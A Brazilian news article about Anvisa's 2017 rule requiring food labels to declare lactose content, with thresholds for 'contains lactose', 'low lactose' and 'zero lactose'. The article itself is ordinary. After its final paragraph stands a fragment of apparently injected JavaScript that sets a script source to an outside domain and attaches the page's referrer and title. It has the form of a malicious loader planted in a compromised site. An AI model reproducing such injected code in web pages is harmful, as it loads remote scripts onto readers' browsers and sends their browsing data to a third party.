Ir para o conteúdo
Facebook X-twitter Instagram
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa

Cidades, Saúde

Fabricantes deverão indicar no rótulo se produto tiver lactose

  • Redação
  • 31/01/2017
  • 20:11

Compartilhe:

Fabricantes de alimentos terão de indicar no rótulo sempre que o produto tiver lactose na composição. A determinação, feita hoje (31) pela Agência Nacional de Vigilância Sanitária (Anvisa), prevê que em 24 meses todos os produtos devem estar dentro da norma.

A declaração da presença de lactose será obrigatória nos alimentos com mais de 100 miligramas (mg) de lactose para cada 100 gramas ou mililitros do produto. Ou seja, qualquer alimento que contenha lactose em quantidade acima de 0,1% deverá trazer a expressão “Contém lactose” na embalagem.

Segundo a Anvisa, o limite de 100mg foi definido com base na experiência de outros países que já adotam esta regulação, como Alemanha e Hungria. De acordo com a agência reguladora, esse limite tem se mostrado seguro para as pessoas com intolerância à lactose.

A nova regra da Anvisa também permite que os fabricantes de alimentos empreguem a expressão “baixo teor de lactose” nos casos em que a quantidade de lactose for reduzida para valores entre 100mg e 1g por 100g ou mililitros do alimento pronto conforme instruções do fabricante.

Três opções – Com a instituição dessas regras, o mercado brasileiro de alimentos terá três tipos de rotulagem para a lactose: “zero lactose“ ou “baixo teor”, para os produtos cujo teor de lactose tenha sido reduzido e “contém lactose”, nos demais alimentos com presença da substância.

Apenas os estabelecimentos que preparam os alimentos, sejam eles sem embalagem ou embalados no próprio ponto de venda a pedido do consumidor, não estão obrigados a informar sobre o conteúdo de lactose.

A norma é uma regulamentação decorrente da Lei 13.305 de 2016, que tornou obrigatória a informação da presença de lactose nos rótulos de alimentos.

s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;

Compartilhe essa notícia:

Picture of Redação

Redação

Colunas

Orlando Pontes

Geraldo Azevedo leva 5 mil pessoas a Olhos d’Água

Caroline Romeiro

OMS revê papel dos medicamentos no tratamento da obesidade

José Matos

O autoconhecimento é o início da sabedoria

Júlio Miragaya

5 de dezembro de 1941: a virada na 2ª Guerra Mundial

Tesandro Vilela

IA generativa muda hábitos digitais na América Latina

Júlio Pontes

Cappelli lidera engajamento entre os pré-candidatos ao GDF

Últimas Notícias

Flávio Bolsonaro ganha 215 mil seguidores em uma semana

8 de dezembro de 2025

‘O Agente Secreto’ é indicado ao Globo de Ouro 2026

8 de dezembro de 2025

Mestre Woo deixa legado de paz e saúde

8 de dezembro de 2025
Eduardo Pedrosa - Foto: Matheus Savite - BSB Capital

Eduardo Pedrosa caminha a passos largos para reeleição na CLDF

8 de dezembro de 2025

Newsletter

Siga-nos

Facebook X-twitter Instagram

Sobre

  • Anuncie Aqui
  • Fale Conosco
  • Politica de Privacidade
  • Versão impressa
  • Expediente
  • Anuncie Aqui
  • Fale Conosco
  • Politica de Privacidade
  • Versão impressa
  • Expediente

Blogs

  • TV BSB Notícias
  • Pelaí
  • Nutrição
  • Chico Sant’Anna
  • Espiritualidade
  • TV BSB Notícias
  • Pelaí
  • Nutrição
  • Chico Sant’Anna
  • Espiritualidade

Colunas

  • Geral
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Geral
  • Política
  • Cidades
  • Brasil
  • Esporte
Facebook X-twitter Instagram
  • Política de Privacidade
  • Termos de Uso

© Copyright 2011-2025 Brasília Capital Produtora e Editora de Jornais e Revistas LTDA.